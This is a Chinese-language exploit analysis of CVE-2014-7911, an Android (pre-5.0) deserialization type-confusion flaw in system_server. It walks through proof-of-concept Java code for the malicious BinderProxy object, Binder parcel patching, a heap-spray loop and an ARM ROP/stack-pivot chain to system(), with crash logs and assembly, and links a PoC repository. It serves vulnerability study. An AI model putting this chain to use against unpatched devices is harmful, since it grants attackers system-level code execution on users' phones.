本文对CVE-2014-7911漏洞的原理以及利用进行了详细分析。

简介

CVE-2014-7911是由Jann Horn发现的一个有关安卓的提权漏洞,该漏洞允许恶意应用从普通应用权限提权到system用户执行命令。在Android5.0之前的版本中,java.io.ObjectInputStream没有检查要反序列化的对象是否真的可以序列化,攻击者利用此漏洞,构造恶意对象可在sysem_server进程中执行任意代码并获取提升的权限。CVE-2014-7911是一个非常有学习价值的漏洞,虽然由于Android的碎片化,构造的ROP链很难做到通用,但是其涉及的知识非常广泛,包括Java序列化与反序列化、Dalvik GC机制、Android binder机制、heap spary、ROP、stack pivot。

基础知识

由于该漏洞的原理与利用涉及了很多方面,这里不一一介绍,贴出一些链接:
Java序列化与反序列化:
http://www.cnblogs.com/xdp-gacl/p/3777987.html
http://developer.51cto.com/art/201202/317181.htm
Android binder机制:
http://blog.csdn.net/luoshengyang/article/details/6618363
heap spray:
http://blog.csdn.net/magictong/article/details/7391397
ROP:
http://drops.wooyun.org/papers/4077
http://blog.csdn.net/l173864930/article/details/14000343

分析环境与工具

Android版本:Android4.4.4_r1
手机:Nexus5
IDA 6.5

漏洞分析

由于网上已有分析文献加上本人文笔有限,本文将根据参考文献进行更加细致的分析。
为了方便阅读,下面我贴上部分参考文献,并补充我在分析时对漏洞的理解:

在Jann Horm给出的漏洞信息与POC中(1],向system_server传入的是不可序列化的android.os.BinderProxy对象实例,其成员变量在反序列化时发生类型混淆,由于BinderProxy的finalize方法包含本地代码,于是在本地代码执行时将成员变量强制转换为指针,注意到成员变量是攻击者可控的,也就意味着攻击者可以控制该指针,使其指向攻击者可控的地址空间,最终获得在system_server(uid=1000)中执行代码的权限。下面主要结合POC对漏洞进行详细分析,由于笔者之前对相关的Java序列化、Android binder跨进程通信和native代码都不太熟悉,主要根据参考文献进行翻译、整理和理解,不当之处,还请读者海涵。

Java层分析

第一步,构建一可序列化的恶意对象

创建AAdroid.os.BinderProxy对象,并将其放入Bundle数据中:

1
2
3
4
Bundle bundle = new Bundle();
AAdroid.os.BinderProxy evilProxy = new AAdroid.os.BinderProxy();
bundle.putSerializable("eatthis", evilProxy);
>

注意AAdroid.os.BinderProxy是可序列化的,其成员变量mOrgue就是随后用于改变程序执行流程的指针。随后该可序列化的AAdroid.os.BinderProxy将在传入system_server之间修改为不可序列化的Android.os.BinderProxy对象:

1
2
3
4
5
6
7
public class BinderProxy implements Serializable {
private static final long serialVersionUID = 0;
//public long mObject = 0x1337beef;
//public long mOrgue = 0x1337beef;
//注意:此处要根据待测的Android版本号设置,在我们待测试的Android 4.4.4中,BinderProxy的这两个Field为private int,这样才能保证POC访问的地址为我们设置的值0x1337beef
private int mObject = 0x1337beef;
private int mOrgue = 0x1337beef;

AAdroid.os.BinderProxy可序列化的原因是我们需要首先将恶意对象序列化并存入bundle对象中,才能将其传递给system_server进程。
mOrgue和mObject的类型可以查看源码(frameworks/base/core/java/android/os/Binder.java)。

第二步,准备传入system_server的数据

主要通过一系列java的反射机制,获得android.os.IUserManager.Stub和andrioid.os.IUserManager.Stub.Proxy的Class对象,最终获得跨进程调用system_server的IBinder接口mRemote,以及调用UserManager.setApplicationRestriction函数的TRANSACTION_setApplicationRestriction,为与system_server的跨进程Binder通信作准备:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Class stubClass = null;
for (Class inner : Class.forName("android.os.IUserManager").getDeclaredClasses()) {
if (inner.getCanonicalName().equals("android.os.IUserManager.Stub")) {
stubClass = inner;
}
}
Field TRANSACTION_setApplicationRestrictionsField = stubClass.getDeclaredField("TRANSACTION_setApplicationRestrictions");
TRANSACTION_setApplicationRestrictionsField.setAccessible(true);
TRANSACTION_setApplicationRestrictions = TRANSACTION_setApplicationRestrictionsField.getInt(null);
Class proxyClass = null;
for (Class inner : stubClass.getDeclaredClasses()) {
if (inner.getCanonicalName().equals("android.os.IUserManager.Stub.Proxy")) {
proxyClass = inner;
}
}
UserManager userManager = (UserManager) context.getSystemService(Context.USER_SERVICE);
Field mServiceField = UserManager.class.getDeclaredField("mService");
mServiceField.setAccessible(true);
Object mService = mServiceField.get(userManager);
Field mRemoteField = proxyClass.getDeclaredField("mRemote");
mRemoteField.setAccessible(true);
mRemote = (IBinder) mRemoteField.get(mService);
UserHandle userHandle = android.os.Process.myUserHandle();
setApplicationRestrictions(context.getPackageName(), bundle, userHandle.hashCode());

这里有一个很基础的问题,为什么我们一定要把这个对象传递进system_server进程呢?system_server进程拥有system权限,我们通过将对象传递给system_server,利用一些技巧达到提权到system的目的。
这段连续的java反射涉及到了Android binder进程间通讯的知识,有兴趣的可以下来深入研究。

第三步,向system_server传入不可序列化的Bundle参数

调用setApplicationRestrictions这个函数,传入之前打包evilproxy的Bundle数据作为参数。将该函数与Android源码中的setApplicationRestrication函数对比,主要的区别在于将传入的Bundle数据进行了修改,将之前可序列化的AAdroid.os.BinderProxy对象修改为了不可序列化的Android.os.BinderProxy对象,这样就将不可序列化的Bundles数据,通过Binder跨进程调用,传入system_server的Android.os.UserManager.setApplicationRestrictions方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
private void setApplicationRestrictions(java.lang.String packageName, android.os.Bundle restrictions, int userHandle) throws android.os.RemoteException {
android.os.Parcel _data = android.os.Parcel.obtain();
android.os.Parcel _reply = android.os.Parcel.obtain();
try {
_data.writeInterfaceToken(DESCRIPTOR);
_data.writeString(packageName);
_data.writeInt(1);
restrictions.writeToParcel(_data, 0);
_data.writeInt(userHandle);
byte[] data = _data.marshall();
for (int i=0; true; i++) {
if (data[i] == 'A' && data[i+1] == 'A' && data[i+2] == 'd' && data[i+3] == 'r') {
data[i] = 'a';
data[i+1] = 'n';
break;
}
}
_data.recycle();
_data = Parcel.obtain();
_data.unmarshall(data, 0, data.length);
mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0);
_reply.readException();
}
finally {
_reply.recycle();
_data.recycle();
}
}

事实上,我们并非必须使用Android.os.UserManager.setApplicationRestrictions方法向system_server传递对象,我们需要的是找到一个途径将序列化后的对象传递进system_server进程,并且system_server会将该对象反序列化,只要满足这样的条件均可。
还有一个问题:为什么我们要修改AAdroid.os.BinderProxy为Android.os.BinderProxy?这个问题我将会在后面解释。

安装POC,启动Activity后将其最小化,触发GC,引起Android系统重启,从Logcat日志中可以看到,system_server执行到了之前设置的BinderProxy对象的0x1337beef这个值,访问了不该访问的内存,导致异常。错误信号、寄存器快照和调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
05-14 18:30:55.974: I/DEBUG(3695): Build fingerprint: 'google/hammerhead/hammerhead:4.4.4/KTU84P/1227136:user/release-keys'
05-14 18:30:55.974: I/DEBUG(3695): Revision: '11'
05-14 18:30:55.974: I/DEBUG(3695): pid: 1552, tid: 1560, name: FinalizerDaemon >>> system_server <<<
05-14 18:30:55.974: I/DEBUG(3695): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 1337bef3
05-14 18:30:56.064: I/DEBUG(3695): r0 1337beef r1 401b89d9 r2 746fdad8 r3 6d4fbdc4
05-14 18:30:56.064: I/DEBUG(3695): r4 401b89d9 r5 1337beef r6 713e3f68 r7 1337beef
05-14 18:30:56.064: I/DEBUG(3695): r8 1337beef r9 74709f68 sl 746fdae8 fp 74aacb24
05-14 18:30:56.064: I/DEBUG(3695): ip 401f08a4 sp 74aacae8 lr 401b7981 pc 40105176 cpsr 200d0030
...
I/DEBUG ( 241): backtrace:
I/DEBUG ( 241): #00 pc 0000d176 /system/lib/libutils.so (android::RefBase::decStrong(void const*) const+3)
I/DEBUG ( 241): #01 pc 0007097d /system/lib/libandroid_runtime.so
I/DEBUG ( 241): #02 pc 0001dbcc /system/lib/libdvm.so (dvmPlatformInvoke+112)
I/DEBUG ( 241): #03 pc 0004e123 /system/lib/libdvm.so (dvmCallJNIMethod(unsigned int const*, JValue*, Method const*, Thread*)+398)
I/DEBUG ( 241): #04 pc 00026fe0 /system/lib/libdvm.so
I/DEBUG ( 241): #05 pc 0002dfa0 /system/lib/libdvm.so (dvmMterpStd(Thread*)+76)
I/DEBUG ( 241): #06 pc 0002b638 /system/lib/libdvm.so (dvmInterpret(Thread*, Method const*, JValue*)+184)
I/DEBUG ( 241): #07 pc 0006057d /system/lib/libdvm.so (dvmCallMethodV(Thread*, Method const*, Object*, bool, JValue*, std::__va_list)+336)
I/DEBUG ( 241): #08 pc 000605a1 /system/lib/libdvm.so (dvmCallMethod(Thread*, Method const*, Object*, JValue*, ...)+20)
I/DEBUG ( 241): #09 pc 00055287 /system/lib/libdvm.so
I/DEBUG ( 241): #10 pc 0000d170 /system/lib/libc.so (__thread_entry+72)
I/DEBUG ( 241): #11 pc 0000d308 /system/lib/libc.so (pthread_create+240)

这里有个关键问题:
为什么要触发GC,触发GC后发生了什么导致漏洞的触发?同样我会在下面解释。

Native层分析

假如BinderProxy可以被序列化,那么在反序列化时,其field引用的对象也会被反序列化;但在POC中ObjectInputStream反序列化的BinderProxy对象实例不可序列化,这样在ObjectInputStream反序列化BinderProxy对象时,发生了类型混淆(type confusion),其field被当做随后由Native代码处理的指针。这个filed就是之前设置的0x1337beef,具体而言,就是mOrgue这个变量。
android.os.BinderProxy的finalize方法调用native代码,将mOrgue处理为指针:

1
2
3
4
5
6
7
8
@Override
protected void finalize() throws Throwable {
try {
destroy();
} finally {
super.finalize();
}
}

不熟悉Java GC机制的不会明白此处finalize方法和我们的漏洞利用有什么关系,这里我将简单介绍一下Java对象的生命周期与垃圾回收(从网上摘抄,出处不详):
创建对象的方式:

  • 用new语句创建对象。
  • 使用反射,调用java.lang.Class或java.lang.reflect.Constructor的newInstance()实例方法。
  • 调用对象的clone()方法
  • 使用反序列化手段,调用java.io.ObjectInputStream对象的readObject()方法。

垃圾回收:
对象的可触及性:

  • 可触及状态:当一个对象被创建后,只要程序中还有引用变量引用该对象,那么它就始终处于可触及状态。
  • 可复活状态:当程序不再有任何引用变量引用对象时,它就进入可复活状态。该状态的对象,垃圾回收器会准备释放它占用的内存,在释放前,会调用它的finalize()方法,这些finalize()方法有可能使对象重新转到可触及状态。
  • 不可触及状态:当JVM执行完所有的可复活状态的finalize()方法后,假如这些方法都没有使对象转到可触及状态。那么该对象就进入不可触及状态。只有当对象处于不可触及状态时,垃圾回收器才会真正回收它占用的内存。

为什么要触发GC,触发GC后发生了什么导致漏洞的触发?
答:当system_server对传进来的对象进行反序列化后就创建了对象,启动Activity后将其最小化,触发GC,注意该对象并没有任何引用,GC清理时就会调用该对象的finalize方法,即调用了Android.os.BinderProxy的finalize方法。

其中,destroy为native方法:

1
private native final void destroy();

cpp代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
static void android_os_BinderProxy_destroy(JNIEnv* env, jobject obj)
{
IBinder* b = (IBinder*)
env->GetIntField(obj, gBinderProxyOffsets.mObject);
DeathRecipientList* drl = (DeathRecipientList*)
env->GetIntField(obj, gBinderProxyOffsets.mOrgue);
LOGDEATH("Destroying BinderProxy %p: binder=%p drl=%p\n", obj, b, drl);
env->SetIntField(obj, gBinderProxyOffsets.mObject, 0);
env->SetIntField(obj, gBinderProxyOffsets.mOrgue, 0);
drl->decStrong((void*)javaObjectForIBinder);
b->decStrong((void*)javaObjectForIBinder);
IPCThreadState::self()->flushCommands();
}

最终native代码调用上述decStrong方法,从

1
2
DeathRecipientList* drl = (DeathRecipientList*)
env->GetIntField(obj, gBinderProxyOffsets.mOrgue);

这一行可以看出,drl就是mOrgue,可以被攻击者控制。 所以,drl->decStrong方法调用使用的this指针可由攻击者控制。
gBinderProxyOffsets.mObject和gBinderProxyOffsets.mOrgue
在android_util_Binder.cpp中的int_register_android_os_BinderProxy方法完成初始化:

1
2
gBinderProxyOffsets.mObject = env->GetFieldID(clazz, "mObject", "I");
gBinderProxyOffsets.mOrgue = env->GetFieldID(clazz, "mOrgue", "I");

即是AAdroid.os.BinderProxy中的变量mObject和mOrgue。
为什么我们要修改AAdroid.os.BinderProxy以及为什么要修改为Android.os.BinderProxy?
答:注意我们仅仅是向system_server进程传递了一个恶意对象实例,此时没有任何该对象的方法或者数据被使用,然而由于Java GC机制,当该对象被清理时,GC将调用他的finalize方法。然后如果只有如此,我们仍然无法利用,因为finalize方法仍然是不可控的,我们目前唯一能控制的是该恶意对象,回到我们选择的Android.os.BinderProxy,它在其finalize方法中将变量mObject和mOrgue强制转换为函数指针,并调用。而注意的是,我们可以控制mObject和mOrgue的值,这样就相当于我们可以向system_server传递一个任意值的函数指针this,并在该对象实例被GC时有机会获得控制权。

再看一下RefBase类中的decStrong方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void RefBase::decStrong(const void* id) const
{
weakref_impl* const refs = mRefs;
refs->removeStrongRef(id);
const int32_t c = android_atomic_dec(&refs->mStrong);
#if PRINT_REFS
ALOGD("decStrong of %p from %p: cnt=%d\n", this, id, c);
#endif
ALOG_ASSERT(c >= 1, "decStrong() called on %p too many times", refs);
if (c == 1) {
refs->mBase->onLastStrongRef(id);
if ((refs->mFlags&OBJECT_LIFETIME_MASK) == OBJECT_LIFETIME_STRONG) == OBJECT_LIFETIME_STRONG) {
delete this;
}
refs->decWeak(id);
}

注意上述refs->mBase->onLastStrongRef(id)最终导致代码执行。
我们上面提到我们传入的mOrgue的值,即是drl->decStrong方法所在类DeathRecipientList的this指针。

汇编代码分析

注意我这里添加了一张汇编图示,我导入的是没有strip过的libutils.so,这样IDA中解释出的信息更加丰富。
下面看一下发生异常时最后调用的RefBase:decStrong的汇编代码。将libutils.so拖入IDA Pro,查看Android::RefBase::decStrong函数。分析时需要牢记的是,攻击者能够控制r0(this指针):
1
2
首先对r0的使用,是在decStrong的前下面三行代码之中:

1
2
3
weakref_impl* const refs = mRefs;
refs->removeStrongRef(id);
const int32_t c = android_atomic_dec(&refs->mStrong);

对应的汇编代码如下:

1
2
3
4
ldr r4, [r0, #4] # r0为this指针,r4为mRefs
mov r6, r1
mov r0, r4
blx <android_atomic_dec ()>

首先,mRefs被加载到r4。(r0是drl的this指针,mRefs是虚函数表之后的第一个私有变量,因此mRefs为r0+4所指向的内容)
然后,android_atomic_dec函数被调用,传入参数&refs->mStrong。

1
const int32_t c = android_atomic_dec(&refs->mStrong);

这被翻译为:

1
2
mov r0, r4 # r4指向mStrong,r0指向mStrong
blx <android_atomic_dec ()>

作为函数参数,上述r0就是&refs->mStrong。注意,mStrong是refs(类weakref_impl)的第一个成员变量,由于weakref_impl没有虚函数,所以没有虚函数表,因此mStrong就是r4所指向的内容。
另外,refs->removeStrongRef(id);这一行并没有出现在汇编代码中,因为这个函数为空实现,编译器进行了优化。如下所示:

1
void removeStrongRef(const void* /*id*/) { }

在调用android_atomic_dec后,出现的是以下代码:

1
2
3
if (c == 1) {
refs->mBase->onLastStrongRef(id);
}

对应的汇编代码

1
2
3
4
5
6
7
cmp r0, #1 # r0 = refs->mStrong
bne.n d1ea
ldr r0, [r4, #8] # r4 = &refs->mStrong
mov r1, r6
ldr r3, [r0, #0]
ldr r2, [r3, #12]
blx r2

注意,android_atomic_dec函数执行强引用计数减1,返回的是执行减1操作之前所指定的内存地址存放的值。为了调用refs->mBase->onLastStrongRef(id)(即:blx r2),攻击者需要使refs->mStrong为1。
至此,可以看出攻击者为了实现代码执行,需要满足如下约束条件:

  1. drl(就是mOrgue,第一个可控的指针,在进入decStrong函数时的r0)必须指向可读的内存区域;
  2. refs->mStrong必须为1;
  3. refs->mBase->onLastStrongRef(id)需要执行成功。并最终指向可执行的内存区域。即满足:
    1
    2
    3
    4
    5
    if(*(*(mOrgue+4)) == 1) {
    refs = *(mOrgue+4);
    r2 = *(*(*(refs+8))+12);
    blx r2 ; <—— controlled;
    }

除此以外,攻击者还必须克服Android中的漏洞缓解技术——ASLR和DEP。

我们可以看到这里使用了三层指针的跳转,最终才拿到控制权。mOrgue需要指向攻击者可控的内存,怎样做到?下面我将结合参考文献以及retme7提供的POC进行翻译和理解。

漏洞利用

绕过ASLR

Android有做地址空间随机化ASLR,但是所有的app都是fork自zygote进程,基础模块的内存布局全部是相同的,也就是说我们可以简单的绕过system_server的ASLR。

1
2
3
4
shell@hammerhead:/ # cat /proc/10156/maps | grep dalvik-heap
4273c000-616da000 rw-p 00000000 00:04 32910 /dev/ashmem/dalvik-heap (deleted)
shell@hammerhead:/ # cat /proc/18446/maps | grep dalvik-heap
4273c000-616da000 rw-p 00000000 00:04 32910 /dev/ashmem/dalvik-heap (deleted)

Dalvik-heap spary

Dalvik-heap是储存Java对象实例的一片由Dalvik虚拟机管理的内存区,它的内存布局也是来自zygote进程,在所有app进程中都是相同的。
system_server进程向android设备提供绝大部分的系统服务,通过这些服务的一些特定方法我们可以向system_server传输一个String,同时system_server把这个String存储在Dalvik-heap中不被销毁(因为我们需要使用注入代码段对这片内存区域进行填充)。

1
2
3
4
5
6
7
8
9
10
11
private void heapSpary(String str) {
// str = str + generateString(16);
try {
IntentFilter inFilter = new IntentFilter();
// inFilter.addAction(generateString(16));
registerReceiver(broadcastReceiver, inFilter, str, null);
}
catch (Exception e) {
e.printStackTrace();
}
}

我屏蔽了retme7的POC中的两行代码,经过测试并没有影响。
首先,看一下registerReceiver方法的声明:

public Intent registerReceiver(BroadcastReceiver receiver, IntentFilter filter, String broadcastPermission, Handler scheduler)

其中broadcastPermission参数为一个String类型,方法调用完成后,String buffer将常驻system_server内存空间,并且不会被销毁。接下来,将结合Android4.4.4_r1源码简单分析下registerReceiver方法是如何将String传递进并常驻在system_server进程的:
ContextWrapper.registerReceiver->ContextImpl.registerReceiver->ContextImpl.registerReceiverInternal->ActivityManagerProxy.registerReceiver->ActivityManagerService.registerReceiver
注意ActivityManagerProxy.registerReceiver方法里通过Binder驱动程序就进入到了ActivityManagerService中的registerReceiver方法中,也就是进入到了system_server进程里。
贴出ActivityManagerService.registerReceiver方法的关键部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public Intent registerReceiver(IApplicationThread caller, String callerPackage, IIntentReceiver receiver, IntentFilter filter, String permission, int userId) {
enforceNotIsolatedCaller("registerReceiver");
int callingUid;
int callingPid;
synchronized(this) {
......
ReceiverList rl
= (ReceiverList)mRegisteredReceivers.get(receiver.asBinder());
......
BroadcastFilter bf = new BroadcastFilter(filter, rl, callerPackage,
permission, callingUid, userId);
rl.add(bf);
......
return sticky;
}
}

通过

1
2
3
BroadcastFilter bf = new BroadcastFilter(filter, rl, callerPackage,
permission, callingUid, userId);
rl.add(bf);

就将传递进的String buffer即此处的permission常驻在system_server内存空间。
最后反复调用heapSpary,完成Dalvik-heap spary:

1
2
3
4
5
6
for (int i = 0; i < 2000; i++) {
heapSpary(str);
if (i % 100 == 0) {
Log.d(TAG, "heap sparying... " + i);
}
}

Spray addresses manipulation

方便请见,再次贴出实现代码执行的约束条件:

1
2
3
4
5
if(*(*(mOrgue+4)) == 1) {
refs = *(mOrgue+4);
r2 = *(*(*(refs+8))+12);
blx r2 ; <—— controlled;
}

完成system_server进程的堆喷射后,我们遇到另一个问题-虽然我们的spray chunk充满了system_server内存空间,mOrgue也确实指向可读的spray chunk,然而我们上面提到由于此漏洞的特殊型,需要控制其三重指针的调用,所以我们还需要构造特殊的spray chunk,使得mOrgue每次指向相同的偏移。
下面是构造后的spray chunk的结构图(图来自参考文献):
3
简单解释一下:
STATIC_ADDRESS是我们传递进来的mOrgue
GADGET_CHUNK_OFFSET是GADGET_CHUNK在spray chunk的偏移
STATIC_ADDRESS = Beginning_of_spray + 4 * N
[STATIC_ADDRESS] = STATIC_ADDRESS + GADGET_CHUNK_OFFSET - 4 * N
= Beginning_of_spray + 4 * N + GADGET_CHUNK_OFFSET - 4 * N
= Beginning_of_spray + GADGET_CHUNK_OFFSET
= GADGET_CHUNK_ADDR
这样只要确保STATIC_ADDRESS每次都位于Relative Addresses Chunk区域(spray chunk中Relative Addresses Chunk的比例远大于Gadget Chunk),就可保证STATIC_ADDRESS每次都指向GADGET_CHUNK_ADDR。
重新回头分析汇编代码:

1
2
3
4
5
ldr r4, [r0, #4] # r0为this指针,r4为mRefs
mov r6, r1
mov r0, r4
blx <android_atomic_dec ()>
cmp r0, #1

为了控制后续程序流程,r0的值必须为1

ldr r4, [r0, #4] --> r4=[STATIC_ADDRESS + 4] --> r4=GADGET_CHUNK_ADDR - 4

[r4]的值为1,即[GADGET_CHUNK_ADDR - 4]的值为1。cmp比较成立,进入下面的汇编代码:

1
2
3
4
5
6
r4=GADGET_CHUNK_ADDR - 4
ldr r0, [r4, #8] # r4 = &refs->mStrong
r0=[GADGET_CHUNK_ADDR + 4]
mov r1, r6
ldr r3, [r0, #0]
r3=[[GADGET_CHUNK_ADDR + 4]]

为了方便之后的布局,设置[GADGET_CHUNK_ADDR + 4] =STATIC_ADDRESS + 12,则:
r3=[STATIC_ADDRESS + 12]
r3=GADGET_CHUNK_ADDR - 12
接着往下看:

1
2
3
ldr r2, [r3, #12]
r2=[GADGET_CHUNK_ADDR]
blx r2

这样,我们就完成了spary chunk的布局,Spray addresses manipulation完毕

ROP

由于DEP(Data Execution Prevention)的原因,Dalvik堆上的内存不能用来执行。需要通过ROP技术绕过DEP,执行代码(我们选择执行system函数,然后通过system函数调用外部程序)。
这里首先用到了一个寻找ROP链的工具:
https://github.com/JonathanSalwan/ROPgadget
注意:
只用基础模块:libc libandroid_runtime …(会被zygote加载的模块,保证内存布局的一致)
可以把arm code当做thumb code来搜索,增加更多的可能
为了控制R0寄存器使其指向system函数的参数(命令字符串),我们选择用stack pivot(将控制的堆内存交换栈上,即复写SP)技术将字符串压入堆栈,然后通过pop将字符串地址赋给R0。
第一个gadget:

1
2
3
4
5
6
7
8
r5=STATIC_ADDRESS
ldr r7, [r5]
r7=GADGET_CHUNK_ADDR
mov r0, r5
r0=STATIC_ADDRESS
ldr r1, [r7, #8]
r1=[GADGET_CHUNK_ADDR + 8]
blx r1

通过r1跳转到第二个gadget:

1
2
3
4
5
6
7
8
9
10
r7=GADGET_CHUNK_ADDR
add.w r7, r7, #8
r7=GADGET_CHUNK_ADDR + 8
mov sp, r7
sp = GADGET_CHUNK_ADDR + 8
pop {r4, r5, r7, pc}
r4=[GADGET_CHUNK_ADDR + 8]
r5=[GADGET_CHUNK_ADDR + 12]=system_addr
r7=[GADGET_CHUNK_ADDR + 16]
pc=[GADGET_CHUNK_ADDR + 20]

这里我提前将system函数的地址写入[GADGET_CHUNK_ADDR + 12]。
有一个问题,为什么要通过第一个gadget的过渡,才完成stack pivot?
答:事实上是不得已而为之,我用ROPgadget扫描了整个/system/lib目录下的基础模块的”mov sp, r”,只发现有mov sp, r7,所以只能采取这种过度的方式。
继续来到第三个gadget:

1
2
3
4
sp=[GADGET_CHUNK_ADDR + 24]
mov r0, sp
r5=system_addr
blx r5

如此,我们将命令字符串放在GADGET_CHUNK_ADDR + 24开始的空间就可以了,最终完成了对CVE-2014-7911漏洞的system权限提权,并执行任意代码。

POC

虽然retme7大神早就发布了POC,还是把我修改整理过的POC传到github上,就当保存一下。(只适用nexus5 Android4.4.4_r1)
https://github.com/ele7enxxh/CVE-2014-7911

参考文献

  1. http://seclists.org/fulldisclosure/2014/Nov/51
  2. http://researchcenter.paloaltonetworks.com/2015/01/cve-2014-7911-deep-dive-analysis-android-system-service-vulnerability-exploitation
  3. http://drops.wooyun.org/papers/6082
  4. https://github.com/retme7/CVE-2014-7911_poc
  5. https://github.com/retme7/My-Slides/blob/master/xKungfooSH%40retme.pdf